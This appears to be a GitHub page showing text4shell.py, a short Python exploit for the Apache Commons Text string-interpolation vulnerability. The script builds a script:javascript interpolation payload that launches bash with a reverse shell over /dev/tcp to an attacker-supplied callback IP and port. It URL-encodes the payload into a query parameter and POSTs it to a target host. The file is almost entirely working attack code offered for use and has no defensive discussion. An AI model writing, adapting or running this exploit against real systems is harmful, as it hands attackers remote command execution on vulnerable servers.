-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathtext4shell.py
More file actions
44 lines (32 loc) · 1.16 KB
/
text4shell.py
File metadata and controls
44 lines (32 loc) · 1.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
import urllib.parse
import http.client
import sys
def usage():
print("Usage: python3 text4shell.py <target_ip> <callback_ip> <callback_port>")
print("Example: python3 text4shell.py 127.0.0.1 192.168.22.128 4444")
sys.exit(1)
if len(sys.argv) != 4:
usage()
target_ip = sys.argv[1]
callback_ip = sys.argv[2]
callback_port = sys.argv[3]
raw_payload = (
f"${{script:javascript:var p=java.lang.Runtime.getRuntime().exec("
f"['bash','-c','bash -c \\'exec bash -i >& /dev/tcp/{callback_ip}/{callback_port} 0>&1\\''])}}"
)
encoded_payload = urllib.parse.quote(raw_payload)
path = f"/?data={encoded_payload}" # modify the parameter according to your target
print(f"[!] Remember to modify the parameter according to your target")
print(f"[+] Target: http://{target_ip}{path}")
print(f"[+] Payload (decoded): {raw_payload}")
conn = http.client.HTTPConnection(target_ip, 80)
conn.request("POST", path, body="", headers={
"Host": target_ip,
"Content-Type": "application/json",
"Content-Length": "0"
})
response = conn.getresponse()
print(f"[+] Response Status: {response.status}")
print(response.read().decode())
conn.close()